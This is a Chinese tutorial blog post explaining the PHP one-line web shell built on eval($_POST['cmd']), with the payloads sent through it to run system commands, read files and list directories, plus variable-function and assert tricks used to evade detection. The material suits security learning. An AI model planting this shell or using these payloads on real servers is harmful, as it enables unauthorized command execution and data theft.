一句话木马

原理

代码 <?php @eval($_POST['cmd']);?>

解析

# @ 代表了即使报错了,也不显示

# eval()函数把字符串按照 PHP 代码来计算
$string = "beautiful";
$time = "winter";

$str = 'This is a $string $time morning!';
echo $str. "<br />";

eval("$str = "$str";");
echo $str;

// 输出
This is a $string $time morning!
This is a beautiful winter morning! 

# $_POST 一般用于收集提交表单,此处用于传递变量

# 'cmd' 是我们传递的信息

思路一:隐藏关键字


思路二:使用回调函数

使用木马

# 具体函数使用方法和结果
// 记住 cmd="命令" 的等号中间不能有空格

// 执行系统命令(针对 Linux)

cmd=system("ls /");
# 输出服务器下的根目录

cmd=passthru("ls /");
# 输出服务器下的根目录

cmd=echo exec("ls /");
# 输出服务器下的根目录(返回执行结果的最后一行)

cmd=echo shell_exec("ls /");
# 输出服务器下的根目录

cmd=echo `ls/`;
# 输出服务器下的根目录

// 读文件

cmd=echo file_get_contents("./a.txt");
# 读取根目录下的 a.txt 文件

cmd=var_dump(file("./a.txt"));
# 读取根目录下的 a.txt 文件

cmd=readfile("./a.txt");
# 读取根目录下的 a.txt 文件

// 遍历目录

cmd=var_dump(scandir("/"));
# 读取整个根目录

查杀木马


不死马


PHP 相关知识点补充

# 可变函数
$a = "phpinfo";
$a();

// 相当于执行了 phpinfo();

# 可变变量
$a='assert';
$b='a';
echo $$b;

// 相当于执行了 $a;

# assert 函数
// assert 和 eval 函数作用类似
// 但 assert 函数能被可变函数调用,而 eval 函数不可以被可变函数调用
// PHP7.1 以上已经废弃 assert 函数

推荐文章

  1. php中$_REQUEST、$_POST、$_GET的区别
  2. Windows 赋予文件的所有权限
喜欢划水摸鱼的废人
原文地址:https://www.cnblogs.com/CourserLi/p/15302964.html